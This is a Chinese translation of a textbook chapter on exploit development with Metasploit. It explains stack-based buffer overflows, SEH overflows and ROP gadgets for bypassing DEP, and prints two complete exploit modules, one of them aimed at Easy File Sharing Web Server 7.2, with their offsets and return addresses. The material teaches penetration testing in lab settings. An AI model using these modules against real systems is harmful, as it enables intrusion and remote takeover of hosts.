基础知识
让我们先了解编写利用程序时必要的基础知识。
以下术语基于硬件、软件和安全角度来看待利用程序开发:
-
寄存器:这是处理器上用于存储信息的区域。此外,处理器利用寄存器来处理进程执行、内存操作、API 调用等。
-
x86:这是一类系统体系结构,主要出现在基于英特尔的系统上,通常是 32 位系统,而 x64 是 64 位系统。
-
汇编语言:这是一种具有简单操作的低级编程语言。然而,阅读汇编代码并维护它是一件难事。
-
缓冲区:缓冲区是程序中的固定内存持有者,根据它们所持有的内存类型,它们将数据存储到堆栈或堆中。
-
调试器:调试器允许对可执行文件进行逐步分析,包括停止、重新启动、中断和操纵进程内存、寄存器、堆栈等。广泛使用的调试器包括 Immunity Debugger、GDB 和 OllyDbg。
-
Shellcode:这是用于在目标系统上执行的机器语言。在历史上,它被用于运行一个 shell 进程,使攻击者能够访问系统。因此,shellcode 是处理器理解的一组指令。
-
堆栈:这充当数据的占位符,并使用后进先出(LIFO)方法进行存储,这意味着最后插入的数据首先被移除。
-
堆:堆是主要用于动态分配的内存区域。与堆栈不同,我们可以在任何给定时间分配、释放和阻塞。
-
缓冲区溢出:这意味着提供给缓冲区的数据超过了其容量。
-
格式字符串错误:这些是与文件或控制台中的打印语句相关的错误,当给定一组变量数据时,可能会透露有关程序的有价值的信息。
-
系统调用:这些是由正在执行的程序调用的系统级方法。
体系结构
体系结构定义了系统各个组件的组织方式。让我们先了解必要的组件,然后我们将深入研究高级阶段。
系统组织基础知识
在我们开始编写程序和执行其他任务,比如调试之前,让我们通过以下图表来了解系统中组件的组织结构:
我们可以清楚地看到系统中的每个主要组件都是通过系统总线连接的。因此,CPU、内存和 I/O 设备之间的所有通信都是通过系统总线进行的。
CPU 是系统中的中央处理单元,确实是系统中最重要的组件。因此,让我们通过以下图表来了解 CPU 中的组织结构:
上述图表显示了 CPU 的基本结构,包括控制单元(CU)、执行单元(EU)、寄存器和标志等组件。让我们通过下表来了解这些组件是什么:
| 组件 | 工作 |
|---|---|
| 控制单元 | 控制单元负责接收和解码指令,并将数据存储在内存中。 |
| 执行单元 | 执行单元是实际执行发生的地方。 |
| 寄存器 | 寄存器是占位内存变量,有助于执行。 |
| Flags | 这些用于指示执行过程中发生的事件。 |
寄存器
寄存器是高速计算机内存组件。它们也位于内存层次结构的速度图表的顶部。我们通过它们可以容纳的位数来衡量寄存器;例如,一个 8 位寄存器和一个 32 位寄存器分别可以容纳 8 位和 32 位的内存。通用目的、段、EFLAGS和索引寄存器是系统中不同类型的相关寄存器。它们负责执行系统中几乎每个功能,因为它们保存了所有要处理的值。让我们来看看它们的类型:
| 寄存器 | 目的 |
|---|---|
| EAX | 这是一个累加器,用于存储数据和操作数。大小为 32 位。 |
| EBX | 这是基址寄存器,指向数据的指针。大小为 32 位。 |
| ECX | 这是一个计数器,用于循环目的。大小为 32 位。 |
| EDX | 这是一个数据寄存器,存储 I/O 指针。大小为 32 位。 |
| ESI/EDI | 这些是用作内存操作数据指针的索引寄存器。它们也是 32 位大小。 |
| ESP | 这个寄存器指向栈顶,当栈中有数据被推入或弹出时,它的值会发生变化。大小为 32 位。 |
| EBP | 这是堆栈数据指针寄存器,大小为 32 位。 |
| EIP | 这是指令指针,大小为 32 位,在本章中是最关键的指针。它还保存着下一条要执行的指令的地址。 |
| SS、DSES、CS、FS 和 GS | 这些是段寄存器,大小为 16 位。 |
您可以在以下网址了解有关架构基础知识和各种系统调用和利用指令的更多信息:resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/#x86。
使用 Metasploit 利用基于栈的缓冲区溢出
缓冲区溢出漏洞是一种异常情况,当向缓冲区写入数据时,它超出了缓冲区的大小并覆盖了内存地址。以下图表显示了缓冲区溢出的一个基本示例:
上述图表的左侧显示了应用程序的外观。然而,右侧表示了应用程序在满足缓冲区溢出条件时的行为。
那么,我们如何利用缓冲区溢出漏洞呢?答案很简单。如果我们知道将覆盖 EIP(指令指针)开始之前的一切的确切数据量,我们可以将任何内容放入 EIP 并控制下一条指令的地址。
因此,首先要找出足够好的字节数,以填充 EIP 开始之前的所有内容。在接下来的部分中,我们将看到如何使用 Metasploit 实用程序找到确切的字节数。
崩溃易受攻击的应用程序
我们将使用一个使用不安全函数的自定义易受攻击的应用程序。让我们尝试从命令 shell 中运行该应用程序,如下所示:
我们可以看到这是一个小型示例应用程序,它监听 TCP 端口200。我们将通过 Telnet 连接到该应用程序的端口200并向其提供随机数据,如下面的屏幕截图所示:
在我们提供数据之后,我们会看到与目标的连接丢失。这是因为应用程序服务器崩溃了。让我们看看目标系统上的情况:
通过点击此处查看错误报告,我们可以看到以下信息:
崩溃的原因是应用程序未能处理下一条指令的地址,位于 41414141。这有什么提示吗?值 41 是字符 A 的十六进制表示。发生的情况是我们的输入越过了缓冲区的边界,继续覆盖了 EIP 寄存器。因此,由于下一条指令的地址被覆盖,程序尝试在 41414141 处找到下一条指令的地址,这不是有效地址。因此,它崩溃了。
从以下网址下载我们在示例中使用的示例应用程序:redstack.net/blog/category/How%20To.html。
构建利用基础
为了利用该应用程序并访问目标系统,我们需要了解以下表中列出的内容:
| 组件 | 用途 |
|---|---|
| 在上一节中,我们崩溃了应用程序。然而,为了利用该应用程序,我们需要知道足够填充空间和 EBP 寄存器的输入的确切大小,这样我们提供的任何内容都会直接进入 EIP 寄存器。我们将足够好以使我们正好在 EIP 寄存器之前的数据量称为偏移量。 | |
| 跳转地址/Ret | 这是要在 EIP 寄存器中覆盖的实际地址。澄清一下,这是来自 DLL 文件的 JMP ESP 指令的地址,它有助于跳转到有效负载。 |
| 坏字符 | 坏字符是可能导致有效负载终止的字符。假设包含空字节(0x00)的 shellcode 被发送到网络上。它将过早终止缓冲区,导致意外结果。应避免使用坏字符。 |
让我们通过以下图表来了解该应用程序的利用部分:
查看前面的图表,我们必须执行以下步骤:
-
用用户输入覆盖缓冲区和 EBP 寄存器,就在 EIP 寄存器开始之前。足够好的值将是偏移值。
-
用相关 DLL 中的 JMP ESP 地址覆盖 ESP。
-
在有效负载之前提供一些填充以消除不规则性。
-
最后,提供要执行的 shellcode。
在接下来的部分,我们将详细介绍所有这些步骤。
计算偏移量
正如我们在前一节中看到的,利用的第一步是找出偏移量。Metasploit 通过使用两个不同的工具pattern_create和pattern_offset来辅助这个过程。
使用 pattern_create 工具
在前一节中,我们发现通过提供随机数量的A字符,我们能够使应用程序崩溃。然而,我们已经学到,要构建一个有效的利用程序,我们需要找出这些字符的确切数量。Metasploit 内置的工具pattern_create可以在短时间内为我们完成这项工作。它生成的模式可以供应用程序使用,而不是A字符,并且根据覆盖 EIP 寄存器的值,我们可以使用其对应的工具pattern_offset快速找出确切的字节数。让我们看看如何做到这一点:
我们可以看到,在/tools/exploit/目录中运行pattern_create.rb脚本生成了 1000 字节的模式。这个输出可以提供给有漏洞的应用程序,如下所示:
查看目标端点,我们可以看到偏移值,如下截图所示:
我们有 72413372 作为覆盖 EIP 寄存器的地址。
使用 pattern_offset 工具
在前一节中,我们用 72413372 覆盖了 EIP 地址。让我们使用pattern_offset工具找出覆盖 EIP 所需的确切字节数。这个工具需要两个参数;第一个是地址,第二个是长度,使用pattern_create生成的长度为1000。让我们找出偏移量,如下所示:
确切匹配在 520 处找到。因此,在 520 个字符后的任何 4 个字节都成为 EIP 寄存器的内容。
查找 JMP ESP 地址
让我们再次查看我们用来理解利用的图表,如下所示:
我们完成了前面图表中的第一步。我们的下一个任务是找到 JMP ESP 地址。我们需要 JMP ESP 指令的地址,因为我们的有效载荷将加载到 ESP 寄存器中,我们不能仅仅在覆盖缓冲区后指向有效载荷。因此,我们需要来自外部 DLL 的 JMP ESP 指令的地址,该指令将要求程序跳转到我们有效载荷开头处的 ESP 内容。
要找到跳转地址,我们将需要一个调试器,以便我们可以看到有漏洞的应用程序加载了哪些 DLL 文件。在我看来,最好的选择是 Immunity Debugger。Immunity Debugger 带有大量插件,可以帮助编写利用程序。
使用 Immunity Debugger 查找可执行模块
Immunity Debugger 是一个帮助我们在运行时了解应用程序行为的应用程序。它还可以帮助我们识别缺陷、寄存器的值、反向工程应用程序等。在 Immunity Debugger 中分析应用程序不仅有助于我们更好地理解各种寄存器中包含的值,还会告诉我们有关目标应用程序的各种信息,比如崩溃发生的指令和与可执行文件链接的可执行模块。
可以通过从文件菜单中选择“打开”直接将可执行文件加载到 Immunity Debugger 中。我们也可以通过选择“附加”选项将正在运行的应用程序附加到 Immunity Debugger 中。当我们导航到文件|附加时,它会向我们呈现目标系统上正在运行的进程列表。我们只需要选择适当的进程。然而,这里有一个重要的问题,当一个进程附加到 Immunity Debugger 时,默认情况下,它会处于暂停状态。因此,请确保按下播放按钮,将进程的状态从暂停状态更改为运行状态。让我们看看如何将进程附加到 Immunity Debugger:
按下附加按钮后,让我们看看哪些 DLL 文件加载到有漏洞的应用程序中,方法是导航到“查看”并选择“可执行模块”选项。我们将看到以下 DLL 文件列表:
现在我们已经有了 DLL 文件的列表,我们需要从其中一个文件中找到 JMP ESP 地址。
使用 msfpescan
在前面的部分中,我们找到了与有漏洞的应用程序相关联的 DLL 模块。我们可以使用 Immunity Debugger 来查找 JMP ESP 指令的地址,这是一个冗长而耗时的过程,或者我们可以使用msfpescan从 DLL 文件中搜索 JMP ESP 指令的地址,这是一个更快的过程,消除了手动搜索的步骤。
运行msfpescan给我们以下输出:
诸如msfbinscan和msfrop之类的实用程序可能不会出现在默认的 Kali Linux 中随 Metasploit 一起安装的版本中。切换到 Ubuntu 并手动安装 Metasploit 以获取这些实用程序。
我们可以执行各种任务,比如找到基于 SEH 的缓冲区溢出的 POP-POP-RET 指令地址,显示特定地址处的代码等等,都可以通过msfpescan来完成。我们只需要找到 JMP ESP 指令的地址。我们可以使用-j开关,后面跟着寄存器名称 ESP 来实现这一点。让我们从ws2_32.dll文件开始搜索 JMP ESP 地址:
命令的结果返回了0x71ab9372。这是ws2_32.dll文件中 JMP ESP 指令的地址。我们只需要用这个地址覆盖 EIP 寄存器,以便执行跳转到 ESP 寄存器中的 shellcode。
填充空间
让我们修改利用图并了解我们在利用过程中的确切位置:
我们已经完成了第二步。然而,这里有一个重要的问题,有时 shellcode 的前几个字节可能会被剥离,导致 shellcode 无法执行。在这种情况下,我们应该用前缀 NOP 填充 shellcode,以便 shellcode 的执行可以无缝进行。
假设我们将ABCDEF发送到 ESP,但是当我们使用 Immunity Debugger 进行分析时,我们只得到了DEF的内容。在这种情况下,我们缺少了三个字符。因此,我们需要用三个 NOP 字节或其他随机数据填充有效负载。
让我们看看是否需要为这个有漏洞的应用程序填充 shellcode:
在前面的截图中,我们根据缓冲区大小的值创建了数据。我们知道偏移量是520。因此,我们提供了520,然后是 JMP ESP 地址,以小端格式呈现,随后是随机文本ABCDEF。一旦我们发送了这些数据,我们就可以在 Immunity Debugger 中分析 ESP 寄存器,如下所示:
我们可以看到随机文本ABCDEF中缺少了字母A。因此,我们只需要一个字节的填充来实现对齐。在 shellcode 之前用一些额外的 NOP 进行填充是一个很好的做法,以避免 shellcode 解码和不规则性问题。
NOP 的相关性
NOP 或 NOP-sled 是无操作指令,仅仅将程序执行滑动到下一个内存地址。我们使用 NOP 来到达内存地址中的所需位置。我们通常在 shellcode 开始之前提供 NOP,以确保在内存中成功执行,同时不执行任何操作,只是在内存地址中滑动。十六进制格式中的\x90指令代表 NOP 指令。
确定坏字符
有时,即使为利用正确设置了一切,我们可能永远无法利用系统。或者,可能会发生我们的利用成功执行,但有效载荷无法运行的情况。这可能发生在目标系统对利用中提供的数据进行截断或不正确解析,导致意外行为的情况下。这将使整个利用无法使用,我们将努力将 shell 或 Meterpreter 放入系统中。在这种情况下,我们需要确定阻止执行的坏字符。我们可以通过查找匹配的类似利用模块并在我们的利用模块中使用这些坏字符来避免这种情况。
我们需要在利用的Payload部分定义这些坏字符。让我们看一个例子:
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
上述部分摘自/exploit/windows/ftp目录下的freeftpd_user.rb文件。列出的选项表明有效载荷的空间应小于800字节,并且有效载荷应避免使用0x00、0x20、0x0a和0x0d,分别是空字节、空格、换行和回车。
有关查找坏字符的更多信息,请访问:resources.infosecinstitute.com/stack-based-buffer-overflow-in-win-32-platform-part-6-dealing-with-bad-characters-jmp-instruction/。
确定空间限制
Payload 字段中的Space变量定义了用于 shellcode 的总大小。我们需要为Payload分配足够的空间。如果Payload很大,而分配的空间小于有效载荷的 shellcode,它将无法执行。此外,在编写自定义利用时,shellcode 应尽可能小。我们可能会遇到这样的情况,即可用空间仅为 200 字节,但可用 shellcode 至少需要 800 字节的空间。在这种情况下,我们可以将一个较小的第一阶段 shellcode 放入缓冲区中,它将执行并下载第二个更大的阶段以完成利用。
对于各种有效载荷的较小 shellcode,请访问:shell-storm.org/shellcode/。
编写 Metasploit 利用模块
让我们回顾一下我们的利用过程图表,并检查我们是否可以完成模块:
我们可以看到我们拥有开发 Metasploit 模块的所有基本要素。这是因为在 Metasploit 中,有效载荷生成是自动化的,并且也可以随时更改。所以,让我们开始吧:
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Stack Based Buffer Overflow Example',
'Description' => %q{
Stack Based Overflow Example Application Exploitation Module
},
'Platform' => 'win',
'Author' =>
[
'Nipun Jaswal'
],
'Payload' =>
{
'space' => 1000,
'BadChars' => "\x00\xff",
},
'Targets' =>
[
['Windows XP SP2',{ 'Ret' => 0x71AB9372, 'Offset' => 520}]
],
'DisclosureDate' => 'Mar 04 2018'
))
register_options(
[
Opt::RPORT(200)
])
end
在编写代码之前,让我们看一下我们在这个模块中使用的库:
| 包含语句 | 路径 | 用途 |
|---|---|---|
Msf::Exploit::Remote::Tcp | /lib/msf/core/exploit/tcp.rb | TCP 库文件提供基本的 TCP 功能,如连接、断开连接、写入数据等 |
与我们在第十二章中构建模块的方式相同,重新发明 Metasploit,利用模块首先包括必要的库路径,然后包括来自这些路径的所需文件。我们将模块类型定义为Msf::Exploit::Remote,表示远程利用。接下来,我们有initialize构造方法,在其中定义了名称、描述、作者信息等。然而,我们可以看到initialize方法中有大量新的声明。让我们看看它们是什么:
| 声明 | 值 | 用法 |
|---|---|---|
平台 | win | 定义了利用将要针对的平台类型。win 表示利用将可用于基于 Windows 的操作系统。 |
披露日期 | 2018 年 3 月 4 日 | 漏洞披露的日期。 |
目标 | Ret | 特定操作系统的Ret字段定义了我们在前一节中找到的 JMP ESP 地址。 |
0x71AB9372 | ||
目标 | Offset | 特定操作系统的Offset字段定义了在覆盖 EIP 之前填充缓冲区所需的字节数。我们在前一节中找到了这个值。 |
520 | ||
有效载荷 | 空间 | 在有效载荷声明中,空间变量定义了有效载荷可以使用的最大空间量。这相对重要,因为有时我们的空间不足以加载我们的 shellcode。 |
1000 | ||
有效载荷 | BadChars | 在有效载荷声明中,BadChars变量定义了在有效载荷生成过程中要避免的不良字符。声明不良字符的做法将确保稳定性,并删除可能导致应用程序崩溃或无法执行有效载荷的字节。 |
\x00\xff |
我们还在register_options部分将利用模块的默认端口定义为200。让我们来看看剩下的代码:
def exploit
connect
buf = make_nops(target['Offset'])
buf = buf + [target['Ret']].pack('V') + make_nops(30) + payload.encoded
sock.put(buf)
handler
disconnect
end
end
让我们了解一些在前面的代码中使用的重要函数:
| 函数 | 库 | 用法 |
|---|---|---|
make_nops | /lib/msf/core/exploit.rb | 此方法用于通过传递n作为计数来创建n个 NOP |
连接 | /lib/msf/core/exploit/tcp.rb | 调用此方法来与目标建立连接 |
断开连接 | /lib/msf/core/exploit/tcp.rb | 调用此方法来断开与目标的现有连接 |
处理程序 | /lib/msf/core/exploit.rb | 将连接传递给相关的有效载荷处理程序,以检查是否成功利用了漏洞并建立了连接 |
我们在前一节中看到,run方法被用作辅助模块的默认方法。然而,对于利用,exploit方法被认为是默认的主要方法。
我们首先使用connect连接到目标。使用make_nops函数,我们通过传递我们在initialize部分中定义的target声明的Offset字段,创建了 520 个 NOP。我们将这 520 个 NOP 存储在buf变量中。在下一条指令中,我们通过从target声明的Ret字段中获取其值,将 JMP ESP 地址附加到buf中。使用pack('V'),我们得到了地址的小端格式。除了Ret地址,我们还附加了一些 NOP 作为 shellcode 之前的填充。使用 Metasploit 的一个优点是能够在运行时切换有效载荷。因此,简单地使用payload.encoded附加有效载荷将当前选择的有效载荷添加到buf变量中。
接下来,我们直接使用sock.put将buf的值发送到连接的目标。我们运行处理程序方法来检查目标是否成功被利用,以及是否与其建立了连接。最后,我们使用disconnect从目标断开连接。让我们看看我们是否能够利用服务:
我们设置所需的选项和有效载荷为windows/meterpreter/bind_tcp,表示直接连接到目标。最初,我们可以看到我们的利用完成了,但没有创建会话。在这一点上,我们通过编辑利用代码将坏字符从\x00\xff更改为\x00\x0a\x0d\x20,如下所示:
我们可以使用edit命令直接从 Metasploit 修改模块。默认情况下,文件将在 VI 编辑器中加载。但是,如果你不比我更好,你会坚持使用 nano 编辑器进行更改。一旦我们更改了模块,就必须重新加载到 Metasploit 中。对于我们当前正在使用的模块,我们可以使用reload命令重新加载,如前面的图像所示。重新运行模块,我们轻松地获得了对目标的 Meterpreter 访问。现在我们已经成功完成了第一个利用模块,我们将在下一个示例中跳转到一个稍微更高级的利用模块。
使用 Metasploit 利用基于 SEH 的缓冲区溢出
异常处理程序是捕获程序执行过程中生成的异常和错误的代码模块。这使得程序可以继续执行而不会崩溃。Windows 操作系统具有默认的异常处理程序,通常在应用程序崩溃并抛出一个弹出窗口时看到它们,上面写着XYZ 程序遇到错误并需要关闭。当程序生成异常时,相应的 catch 代码的地址将从堆栈中加载并调用。然而,如果我们设法覆盖处理程序的 catch 代码在堆栈中的地址,我们将能够控制应用程序。让我们看看当应用程序实现异常处理程序时,堆栈中的排列情况:
在上图中,我们可以看到堆栈中 catch 块的地址。我们还可以看到,在右侧,当我们向程序提供足够的输入时,它也会覆盖堆栈中 catch 块的地址。因此,我们可以很容易地通过 Metasploit 中的pattern_create和pattern_offset工具找到覆盖 catch 块地址的偏移值。让我们看一个例子:
我们创建一个4000个字符的模式,并使用TELNET命令将其发送到目标。让我们在 Immunity Debugger 中查看应用程序的堆栈:
我们可以看到应用程序的堆栈窗格中,SE 处理程序的地址被覆盖为45346E45。让我们使用pattern_offset找到确切的偏移量,如下所示:
我们可以看到正确的匹配在3522处。然而,这里需要注意的一个重要点是,根据 SEH 帧的设计,我们有以下组件:
SEH 记录包含前4个字节作为下一个 SEH 处理程序的地址,下一个4个字节作为 catch 块的地址。一个应用程序可能有多个异常处理程序。因此,特定的 SEH 记录将前 4 个字节存储为下一个 SEH 记录的地址。让我们看看如何利用 SEH 记录:
-
我们将在应用程序中引发异常,以便调用异常处理程序。
-
我们将使用 POP/POP/RETN 指令的地址来覆盖 catch 处理程序字段的地址。这是因为我们需要将执行切换到下一个 SEH 帧的地址(在 catch 处理程序地址的前 4 个字节)。我们将使用 POP/POP/RET,因为调用 catch 块的内存地址保存在堆栈中,下一个处理程序的指针地址在 ESP+8(ESP 被称为堆栈的顶部)。因此,两个 POP 操作将重定向执行到下一个 SEH 记录的开始的 4 个字节的地址。
-
在第一步中提供输入时,我们将使用 JMP 指令覆盖下一个 SEH 帧的地址到我们的有效载荷。因此,当第二步完成时,执行将跳转指定字节数到 shellcode。
-
成功跳转到 shellcode 将执行有效载荷,我们将获得对目标的访问权限。
让我们通过以下图表来理解这些步骤:
在前面的图中,当发生异常时,它调用处理程序的地址(已经被 POP/POP/RET 指令的地址覆盖)。这会导致执行 POP/POP/RET 并将执行重定向到下一个 SEH 记录的地址(已经被短跳转覆盖)。因此,当 JMP 执行时,它指向 shellcode,并且应用程序将其视为另一个 SEH 记录。
构建利用基础
现在我们已经熟悉了基础知识,让我们看看我们需要为 SEH-based 漏洞开发一个工作利用所需的基本要素:
| 组件 | 用途 |
|---|---|
| 偏移量 | 在这个模块中,偏移量将指的是足够覆盖 catch 块地址的输入的确切大小。 |
| POP/POP/RET 地址 | 这是来自 DLL 的 POP-POP-RET 序列的地址。 |
| 短跳转指令 | 为了移动到 shellcode 的开始,我们需要进行指定字节数的短跳转。因此,我们需要一个短跳转指令。 |
我们已经知道我们需要一个有效载荷,一组要防止的坏字符,空间考虑等等。
计算偏移量
Easy File Sharing Web Server 7.2 应用程序是一个 Web 服务器,在请求处理部分存在漏洞,恶意的 HEAD 请求可以导致缓冲区溢出并覆盖 SEH 链中的地址。
使用 pattern_create 工具
我们将使用pattern_create和pattern_offset工具来找到偏移量,就像我们之前在将有漏洞的应用程序附加到调试器时所做的那样。让我们看看我们如何做到这一点:
我们创建了一个包含10000个字符的模式。现在,让我们将模式提供给端口80上的应用程序,并在 Immunity Debugger 中分析其行为。我们会看到应用程序停止运行。让我们通过导航到菜单栏中的 View 并选择 SEH 链来查看 SEH 链:
点击 SEH 链选项,我们将能够看到被覆盖的 catch 块地址和下一个 SEH 记录地址被我们提供的数据覆盖:
使用 pattern_offset 工具
让我们找到下一个 SEH 帧地址和 catch 块地址的偏移量,如下所示:
我们可以看到包含下一个 SEH 记录的内存地址的 4 个字节从4061字节开始,而 catch 块的偏移量则从这 4 个字节之后开始;也就是从4065开始。
查找 POP/POP/RET 地址
在之前讨论过,我们需要地址到 POP/POP/RET 指令来加载地址到下一个 SEH 帧记录并跳转到有效载荷。我们知道我们需要从外部 DLL 文件加载地址。然而,大多数最新的操作系统都使用 SafeSEH 保护编译他们的 DLL 文件。因此,我们需要从一个没有实现 SafeSEH 机制的 DLL 模块中获取 POP/POP/RET 指令的地址。
示例应用程序在以下HEAD请求上崩溃;即HEAD后面是由pattern_create工具创建的垃圾模式,然后是HTTP/1.0rnrn。
Mona 脚本
Mona 脚本是 Immunity Debugger 的 Python 驱动插件,提供了各种利用选项。该脚本可以从以下网址下载:github.com/corelan/mona/blob/master/mona.py。将脚本放入\Program Files\Immunity Inc\Immunity Debugger\PyCommands目录中即可轻松安装。
现在让我们使用 Mona 并运行!mona modules命令来分析 DLL 文件,如下:
从前面的截图中可以看出,我们只有很少的没有实现 SafeSEH 机制的 DLL 文件。让我们使用这些文件来找到 POP/POP/RET 指令的相关地址。
有关 Mona 脚本的更多信息,请访问:www.corelan.be/index.php/2011/07/14/mona-py-the-manual/。
使用 msfpescan
我们可以使用msfpescan的-s开关轻松找到ImageLoad.dll文件中的 POP/POP/RET 指令序列。让我们使用它。
让我们使用一个安全地址,消除可能导致 HTTP 协议问题的地址,比如连续重复的零,如下:
我们将使用0x10019798作为 POP/POP/RET 地址。现在我们已经有了撰写利用程序的两个关键组件,即偏移量和要加载到 catch 块中的地址,即我们的 POP/POP/RET 指令的地址。我们只需要短跳转的指令,这将被加载到下一个 SEH 记录的地址,这将帮助我们跳转到 shellcode。Metasploit 库将使用内置函数为我们提供短跳转指令。
编写 Metasploit SEH 利用模块
现在我们已经有了利用目标应用程序的所有重要数据,让我们继续在 Metasploit 中创建一个利用模块,如下:
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
'Description' => %q{
This module demonstrate SEH based overflow example
},
'Author' => 'Nipun',
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'RPORT' => 80,
},
'Payload' =>
{
'Space' => 390,
'BadChars' => "x00x7ex2bx26x3dx25x3ax22x0ax0dx20x2fx5cx2e",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798, 'Offset' => 4061 } ],
],
'DisclosureDate' => 'Mar 4 2018',
'DefaultTarget' => 0))
end
在处理各种模块的头部部分后,我们开始包含库文件的所需部分。接下来,我们定义类和模块类型,就像我们在之前的模块中所做的那样。我们通过定义名称、描述、作者信息、许可信息、有效载荷选项、披露日期和默认目标来开始initialize部分。我们在Ret返回地址变量和Offset字段下使用4061作为 POP/POP/RET 指令的地址。我们使用4061而不是4065,因为 Metasploit 将自动生成短跳转指令到 shellcode;因此,我们将从4065字节前开始 4 个字节,以便将短跳转放入载体中,以用于下一个 SEH 记录的地址。
在继续之前,让我们看一下我们将在模块中使用的重要函数。我们已经看到了make_nops、connect、disconnect和handler的用法:
| 函数 | 库 | 用法 |
|---|---|---|
generate_seh_record() | /lib/msf/core/exploit/seh.rb | 这个库提供了生成 SEH 记录的方法。 |
让我们继续编写代码,如下:
def exploit
connect
weapon = "HEAD "
weapon << make_nops(target['Offset'])
weapon << generate_seh_record(target.ret)
weapon << make_nops(19)
weapon << payload.encoded
weapon << " HTTP/1.0rnrn"
sock.put(weapon)
handler
disconnect
end
end
exploit函数首先通过连接到目标开始。接下来,它通过在HEAD请求中附加4061个 NOP 生成一个恶意的HEAD请求。接下来,generate_seh_record()函数生成一个8字节的SEH记录,其中前 4 个字节形成了跳转到有效载荷的指令。通常,这 4 个字节包含诸如\xeb\x0A\x90\x90的指令,其中\xeb表示跳转指令,\x0A表示要跳转的12字节,而\x90\x90 NOP指令则作为填充完成了 4 个字节。
使用 NASM shell 编写汇编指令
Metasploit 提供了一个使用 NASM shell 编写短汇编代码的绝佳工具。在上一节中,我们编写了一个小的汇编代码\xeb\x0a,它表示了一个 12 字节的短跳转。然而,在消除了搜索互联网或切换汇编操作码的使用后,我们可以使用 NASM shell 轻松编写汇编代码。
在前面的示例中,我们有一个简单的汇编调用,即JMP SHORT 12。然而,我们不知道与此指令匹配的操作码是什么。因此,让我们使用 NASM shell 来找出,如下所示:
在前面的屏幕截图中,我们可以看到我们从/usr/share/Metasploit-framework/tools/exploit目录中启动了nasm_shell.rb,然后简单地输入了生成相同操作码EB0A的命令,这是我们之前讨论过的。因此,我们可以在所有即将到来的利用示例和实际练习中使用 NASM shell,以减少工作量并节省大量时间。
回到主题,Metasploit 允许我们跳过提供跳转指令和字节数到有效载荷的任务,使用generate_seh_record()函数。接下来,我们只需在有效载荷之前提供一些填充以克服任何不规则性,并跟随有效载荷。最后,我们在头部使用HTTP/1.0\r\n\r\n完成请求。最后,我们将存储在变量 weapon 中的数据发送到目标,并调用处理程序方法来检查尝试是否成功,并且我们获得了对目标的访问权限。
让我们尝试运行模块并分析行为,如下所示:
让我们为模块设置所有必需的选项,并运行exploit命令:
砰!我们成功地利用了目标,这是一个 Windows 7 系统。我们看到了在 Metasploit 中创建 SEH 模块是多么容易。在下一节中,我们将深入研究绕过 DEP 等安全机制的高级模块。
有关 SEH mixin 的更多信息,请参阅github.com/rapid7/metasploit-framework/wiki/How-to-use-the-Seh-mixin-to-exploit-an-exception-handler。
绕过 Metasploit 模块中的 DEP
数据执行防护(DEP)是一种保护机制,它将特定内存区域标记为不可执行,导致在利用时不执行 shellcode。因此,即使我们可以覆盖 EIP 寄存器并将 ESP 指向 shellcode 的起始位置,我们也无法执行我们的有效载荷。这是因为 DEP 防止在内存的可写区域(如堆栈和堆)中执行数据。在这种情况下,我们需要使用可执行区域中的现有指令来实现所需的功能。我们可以通过将所有可执行指令按照一定顺序排列,使得跳转到 shellcode 成为可能。
绕过 DEP 的技术称为返回导向编程(ROP)。ROP 与普通的堆栈溢出不同,普通的堆栈溢出只需要覆盖 EIP 并调用跳转到 shellcode。当 DEP 启用时,我们无法这样做,因为堆栈中的数据是不可执行的。在这里,我们将调用第一个 ROP 小工具,而不是跳转到 shellcode,这些小工具应该被设置成这样的结构,它们形成一个链接结构,其中一个小工具返回到下一个小工具,而不会执行任何来自堆栈的代码。
在接下来的部分中,我们将看到如何找到 ROP 小工具,这些指令可以执行寄存器上的操作,然后返回(RET)指令。找到 ROP 小工具的最佳方法是在加载的模块(DLL)中寻找它们。这些小工具的组合形成了一个链式结构,从堆栈中依次取出一个地址并返回到下一个地址,这些链式结构被称为 ROP 链。
我们有一个易受堆栈溢出攻击的示例应用程序。用于覆盖 EIP 的偏移值为 2006。让我们看看当我们使用 Metasploit 利用这个应用程序时会发生什么:
我们可以看到我们轻松地获得了一个 Meterpreter shell。让我们通过从系统属性中导航到高级系统属性来在 Windows 中启用 DEP,如下所示:
我们通过选择对所有程序和服务启用 DEP,除了我选择的那些,来启用 DEP。让我们重新启动系统,并尝试利用相同的漏洞,如下所示:
我们可以看到我们的利用失败了,因为 shellcode 没有被执行。
您可以从以下网址下载示例应用程序:www.thegreycorner.com/2010/12/introducing-vulnserver.html。
在接下来的部分中,我们将看到如何使用 Metasploit 绕过 DEP 的限制,并访问受保护的系统。让我们保持 DEP 启用,将相同的易受攻击的应用程序附加到调试器,并检查其可执行模块,如下所示:
使用 Mona 脚本,就像我们之前做的那样,我们可以使用!mona modules命令找到所有模块的信息。然而,要构建 ROP 链,我们需要在这些 DLL 文件中找到所有可执行的 ROP 小工具。
使用 msfrop 查找 ROP 小工具
Metasploit 提供了一个非常方便的工具来查找 ROP 小工具:msfrop。它不仅使我们能够列出所有的 ROP 小工具,还允许我们通过这些小工具来寻找我们所需操作的适当小工具。假设我们需要查看所有可以帮助我们执行对ECX寄存器的弹出操作的小工具。我们可以使用msfrop来做到这一点,如下所示:
只要我们为搜索提供了-s开关,并为详细输出提供了-v,我们就开始获得所有使用 POP ECX 指令的小工具的列表。让我们看看结果:
我们可以看到,我们有各种各样的小工具可以轻松执行 POP ECX 任务。然而,要构建一个成功的 Metasploit 模块,可以在 DEP 存在的情况下利用目标应用程序,我们需要开发一系列这些 ROP 小工具,而不执行任何来自堆栈的内容。让我们通过以下图表了解 DEP 的 ROP 绕过:
